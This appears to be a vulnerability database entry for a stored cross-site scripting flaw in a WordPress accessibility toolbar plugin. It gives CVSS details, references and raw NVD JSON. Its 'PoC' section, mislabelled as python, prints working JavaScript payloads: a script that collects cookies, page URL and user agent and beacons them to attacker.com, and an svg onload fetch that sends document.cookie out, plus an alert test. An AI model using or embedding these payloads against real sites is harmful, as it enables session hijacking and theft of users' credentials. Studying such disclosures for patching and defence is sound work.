CVE-2026-24629

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ability, Inc Web Accessibility with Max Access accessibility-toolbar allows Stored XSS.This issue affects Web Accessibility with Max Access: from n/a through <= 2.1.0.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Web Accessibility with Max Access (accessibility-toolbar) <= 2.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-24629 PoC - Stored XSS in WordPress Web Accessibility with Max Access Plugin -->
<!-- Attack requires high privileges (Admin+) -->
<!-- Steps: 1. Go to plugin settings page -->
<!-- 2. Inject payload into accessibility toolbar configuration field -->
<!-- 3. Any user visiting pages with the plugin will trigger the XSS -->

<!-- Malicious payload to be injected into plugin settings -->
<script>
  // Steal user cookies and send to attacker server
  var stolenData = {
    cookies: document.cookie,
    url: window.location.href,
    userAgent: navigator.userAgent
  };
  
  // Send stolen data via image request (bypasses some CORS restrictions)
  new Image().src = 'https://attacker.com/collect?data=' + btoa(JSON.stringify(stolenData));
  
  // Alternative: Session hijacking via cookie theft
  console.log('XSS Triggered - Cookies: ' + document.cookie);
</script>

<!-- Simpler payload for testing -->
<img src=x onerror="alert('XSS Vulnerable - CVE-2026-24629')">

<!-- Stored XSS via plugin configuration parameter -->
<svg/onload=fetch('https://attacker.com/log?cookie='+document.cookie)>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24629
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24629
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24629/
[4] VulDB https://vuldb.com/cve/CVE-2026-24629
[5] https://patchstack.com/database/Wordpress/Plugin/accessibility-toolbar/vulnerability/wordpress-web-accessibility-with-max-access-plugin-2-1-0-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24629", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:22.240", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ability, Inc Web Accessibility with Max Access accessibility-toolbar allows Stored XSS.This issue affects Web Accessibility with Max Access: from n/a through <= 2.1.0."}, {"lang": "es", "value": "Vulnerabilidad de 'cross-site scripting' por Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web en Ability, Inc Web Accessibility with Max Access accessibility-toolbar permite XSS Almacenado. Este problema afecta a Web Accessibility with Max Access: desde n/a hasta <= 2.1.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/accessibility-toolbar/vulnerability/wordpress-web-accessibility-with-max-access-plugin-2-1-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}